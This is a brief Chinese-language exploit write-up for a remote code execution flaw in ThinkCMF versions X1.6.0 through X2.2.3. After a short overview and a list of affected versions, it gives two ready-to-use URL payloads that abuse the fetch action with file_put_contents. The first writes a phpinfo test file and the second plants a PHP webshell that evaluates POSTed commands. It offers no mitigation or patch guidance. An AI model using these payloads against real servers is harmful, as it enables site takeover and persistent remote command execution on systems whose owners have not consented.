thinkcmf 文件包含 x1.6.0-x2.2.3

一、漏洞概述

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架。
攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

二、影响范围

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

三、访问页面

四、漏洞复现

1、漏洞验证，访问/test.php

/?a=fetch&templateFile=public/index&prefix=%27%27&content=<php>file_put_contents(%27test.php%27,%27<?php%20phpinfo();%20?>%27)</php>

2、webshell

/?a=fetch&templateFile=public/index&prefix=%27%27&content=<php>file_put_contents(%27test.php%27,%27<?php%20@eval($_POST[cmd]);%20?>%27)</php>